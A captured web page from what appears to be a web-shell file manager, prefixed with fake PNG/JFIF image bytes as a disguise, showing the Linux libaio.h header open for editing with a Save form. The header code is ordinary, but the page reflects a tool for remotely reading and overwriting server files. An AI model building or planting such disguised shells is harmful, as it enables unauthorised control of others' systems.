�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Finclude%2F'>include</a>/</p><hr><h3>✏️ Editing: libaio.h</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/* /usr/include/libaio.h
 *
 * Copyright 2000,2001,2002 Red Hat, Inc.
 *
 * Written by Benjamin LaHaise &lt;bcrl@redhat.com&gt;
 *
 * libaio Linux async I/O interface
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA
 */
#ifndef __LIBAIO_H
#define __LIBAIO_H

#ifdef __cplusplus
extern &quot;C&quot; {
#endif

#include &lt;sys/types.h&gt;
#include &lt;string.h&gt;
#include &lt;signal.h&gt;

struct timespec;
struct sockaddr;
struct iovec;

typedef struct io_context *io_context_t;

typedef enum io_iocb_cmd {
	IO_CMD_PREAD = 0,
	IO_CMD_PWRITE = 1,

	IO_CMD_FSYNC = 2,
	IO_CMD_FDSYNC = 3,

	IO_CMD_POLL = 5,
	IO_CMD_NOOP = 6,
	IO_CMD_PREADV = 7,
	IO_CMD_PWRITEV = 8,
} io_iocb_cmd_t;

/* little endian, 32 bits */
#if defined(__i386__) || (defined(__arm__) &amp;&amp; !defined(__ARMEB__)) || \
    defined(__sh__) || defined(__bfin__) || defined(__MIPSEL__) || \
    defined(__cris__) || (defined(__riscv) &amp;&amp; __riscv_xlen == 32) || \
    (defined(__GNUC__) &amp;&amp; defined(__BYTE_ORDER__) &amp;&amp; \
         __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ &amp;&amp; __SIZEOF_LONG__ == 4)
#define PADDED(x, y)	x; unsigned y
#define PADDEDptr(x, y)	x; unsigned y
#define PADDEDul(x, y)	unsigned long x; unsigned y

/* little endian, 64 bits */
#elif defined(__ia64__) || defined(__x86_64__) || defined(__alpha__) || \
      (defined(__aarch64__) &amp;&amp; defined(__AARCH64EL__)) || \
      (defined(__riscv) &amp;&amp; __riscv_xlen == 64) || \
      (defined(__GNUC__) &amp;&amp; defined(__BYTE_ORDER__) &amp;&amp; \
          __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ &amp;&amp; __SIZEOF_LONG__ == 8)
#define PADDED(x, y)	x, y
#define PADDEDptr(x, y)	x
#define PADDEDul(x, y)	unsigned long x

/* big endian, 64 bits */
#elif defined(__powerpc64__) || defined(__s390x__) || \
      (defined(__sparc__) &amp;&amp; defined(__arch64__)) || \
      (defined(__aarch64__) &amp;&amp; defined(__AARCH64EB__)) || \
      (defined(__GNUC__) &amp;&amp; defined(__BYTE_ORDER__) &amp;&amp; \
           __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ &amp;&amp; __SIZEOF_LONG__ == 8)
#define PADDED(x, y)	unsigned y; x
#define PADDEDptr(x,y)	x
#define PADDEDul(x, y)	unsigned long x

/* big endian, 32 bits */
#elif defined(__PPC__) || defined(__s390__) || \
      (defined(__arm__) &amp;&amp; defined(__ARMEB__)) || \
      defined(__sparc__) || defined(__MIPSEB__) || defined(__m68k__) || \
      defined(__hppa__) || defined(__frv__) || defined(__avr32__) || \
      (defined(__GNUC__) &amp;&amp; defined(__BYTE_ORDER__) &amp;&amp; \
           __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ &amp;&amp; __SIZEOF_LONG__ == 4)
#define PADDED(x, y)	unsigned y; x
#define PADDEDptr(x, y)	unsigned y; x
#define PADDEDul(x, y)	unsigned y; unsigned long x

#else
#error	endian?
#endif

struct io_iocb_poll {
	PADDED(int events, __pad1);
};	/* result code is the set of result flags or -'ve errno */

struct io_iocb_sockaddr {
	struct sockaddr *addr;
	int		len;
};	/* result code is the length of the sockaddr, or -'ve errno */

struct io_iocb_common {
	PADDEDptr(void	*buf, __pad1);
	PADDEDul(nbytes, __pad2);
	long long	offset;
	long long	__pad3;
	unsigned	flags;
	unsigned	resfd;
};	/* result code is the amount read or -'ve errno */

struct io_iocb_vector {
	const struct iovec	*vec;
	int			nr;
	long long		offset;
};	/* result code is the amount read or -'ve errno */

struct iocb {
	PADDEDptr(void *data, __pad1);	/* Return in the io completion event */
	/* key: For use in identifying io requests */
	/* aio_rw_flags: RWF_* flags (such as RWF_NOWAIT) */
	PADDED(unsigned key, aio_rw_flags);

	short		aio_lio_opcode;	
	short		aio_reqprio;
	int		aio_fildes;

	union {
		struct io_iocb_common		c;
		struct io_iocb_vector		v;
		struct io_iocb_poll		poll;
		struct io_iocb_sockaddr	saddr;
	} u;
};

struct io_event {
	PADDEDptr(void *data, __pad1);
	PADDEDptr(struct iocb *obj,  __pad2);
	PADDEDul(res,  __pad3);
	PADDEDul(res2, __pad4);
};

#undef PADDED
#undef PADDEDptr
#undef PADDEDul

typedef void (*io_callback_t)(io_context_t ctx, struct iocb *iocb, long res, long res2);

/* library wrappers */
extern int io_queue_init(int maxevents, io_context_t *ctxp);
/*extern int io_queue_grow(io_context_t ctx, int new_maxevents);*/
extern int io_queue_release(io_context_t ctx);
/*extern int io_queue_wait(io_context_t ctx, struct timespec *timeout);*/
extern int io_queue_run(io_context_t ctx);

/* Actual syscalls */
extern int io_setup(int maxevents, io_context_t *ctxp);
extern int io_destroy(io_context_t ctx);
extern int io_submit(io_context_t ctx, long nr, struct iocb *ios[]);
extern int io_cancel(io_context_t ctx, struct iocb *iocb, struct io_event *evt);
extern int io_getevents(io_context_t ctx_id, long min_nr, long nr, struct io_event *events, struct timespec *timeout);
extern int io_pgetevents(io_context_t ctx_id, long min_nr, long nr,
		struct io_event *events, struct timespec *timeout,
		sigset_t *sigmask);


static inline void io_set_callback(struct iocb *iocb, io_callback_t cb)
{
	iocb-&gt;data = (void *)cb;
}

static inline void io_prep_pread(struct iocb *iocb, int fd, void *buf, size_t count, long long offset)
{
	memset(iocb, 0, sizeof(*iocb));
	iocb-&gt;aio_fildes = fd;
	iocb-&gt;aio_lio_opcode = IO_CMD_PREAD;
	iocb-&gt;aio_reqprio = 0;
	iocb-&gt;u.c.buf = buf;
	iocb-&gt;u.c.nbytes = count;
	iocb-&gt;u.c.offset = offset;
}

static inline void io_prep_pwrite(struct iocb *iocb, int fd, void *buf, size_t count, long long offset)
{
	memset(iocb, 0, sizeof(*iocb));
	iocb-&gt;aio_fildes = fd;
	iocb-&gt;aio_lio_opcode = IO_CMD_PWRITE;
	iocb-&gt;aio_reqprio = 0;
	iocb-&gt;u.c.buf = buf;
	iocb-&gt;u.c.nbytes = count;
	iocb-&gt;u.c.offset = offset;
}

static inline void io_prep_preadv(struct iocb *iocb, int fd, const struct iovec *iov, int iovcnt, long long offset)
{
	memset(iocb, 0, sizeof(*iocb));
	iocb-&gt;aio_fildes = fd;
	iocb-&gt;aio_lio_opcode = IO_CMD_PREADV;
	iocb-&gt;aio_reqprio = 0;
	iocb-&gt;u.c.buf = (void *)iov;
	iocb-&gt;u.c.nbytes = iovcnt;
	iocb-&gt;u.c.offset = offset;
}

static inline void io_prep_pwritev(struct iocb *iocb, int fd, const struct iovec *iov, int iovcnt, long long offset)
{
	memset(iocb, 0, sizeof(*iocb));
	iocb-&gt;aio_fildes = fd;
	iocb-&gt;aio_lio_opcode = IO_CMD_PWRITEV;
	iocb-&gt;aio_reqprio = 0;
	iocb-&gt;u.c.buf = (void *)iov;
	iocb-&gt;u.c.nbytes = iovcnt;
	iocb-&gt;u.c.offset = offset;
}

static inline void io_prep_preadv2(struct iocb *iocb, int fd, const struct iovec *iov, int iovcnt, long long offset, int flags)
{
	memset(iocb, 0, sizeof(*iocb));
	iocb-&gt;aio_fildes = fd;
	iocb-&gt;aio_lio_opcode = IO_CMD_PREADV;
	iocb-&gt;aio_reqprio = 0;
	iocb-&gt;aio_rw_flags = flags;
	iocb-&gt;u.c.buf = (void *)iov;
	iocb-&gt;u.c.nbytes = iovcnt;
	iocb-&gt;u.c.offset = offset;
}

static inline void io_prep_pwritev2(struct iocb *iocb, int fd, const struct iovec *iov, int iovcnt, long long offset, int flags)
{
	memset(iocb, 0, sizeof(*iocb));
	iocb-&gt;aio_fildes = fd;
	iocb-&gt;aio_lio_opcode = IO_CMD_PWRITEV;
	iocb-&gt;aio_reqprio = 0;
	iocb-&gt;aio_rw_flags = flags;
	iocb-&gt;u.c.buf = (void *)iov;
	iocb-&gt;u.c.nbytes = iovcnt;
	iocb-&gt;u.c.offset = offset;
}

static inline void io_prep_poll(struct iocb *iocb, int fd, int events)
{
        memset(iocb, 0, sizeof(*iocb));
        iocb-&gt;aio_fildes = fd;
        iocb-&gt;aio_lio_opcode = IO_CMD_POLL;
        iocb-&gt;aio_reqprio = 0;
        iocb-&gt;u.poll.events = events;
}

static inline int io_poll(io_context_t ctx, struct iocb *iocb, io_callback_t cb, int fd, int events)
{
        io_prep_poll(iocb, fd, events);
        io_set_callback(iocb, cb);
        return io_submit(ctx, 1, &amp;iocb);
}

static inline void io_prep_fsync(struct iocb *iocb, int fd)
{
	memset(iocb, 0, sizeof(*iocb));
	iocb-&gt;aio_fildes = fd;
	iocb-&gt;aio_lio_opcode = IO_CMD_FSYNC;
	iocb-&gt;aio_reqprio = 0;
}

static inline int io_fsync(io_context_t ctx, struct iocb *iocb, io_callback_t cb, int fd)
{
	io_prep_fsync(iocb, fd);
	io_set_callback(iocb, cb);
	return io_submit(ctx, 1, &amp;iocb);
}

static inline void io_prep_fdsync(struct iocb *iocb, int fd)
{
	memset(iocb, 0, sizeof(*iocb));
	iocb-&gt;aio_fildes = fd;
	iocb-&gt;aio_lio_opcode = IO_CMD_FDSYNC;
	iocb-&gt;aio_reqprio = 0;
}

static inline int io_fdsync(io_context_t ctx, struct iocb *iocb, io_callback_t cb, int fd)
{
	io_prep_fdsync(iocb, fd);
	io_set_callback(iocb, cb);
	return io_submit(ctx, 1, &amp;iocb);
}

static inline void io_set_eventfd(struct iocb *iocb, int eventfd)
{
	iocb-&gt;u.c.flags |= (1 &lt;&lt; 0) /* IOCB_FLAG_RESFD */;
	iocb-&gt;u.c.resfd = eventfd;
}

#ifdef __cplusplus
}
#endif

#endif /* __LIBAIO_H */
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Finclude'>🔙 Back</a></p>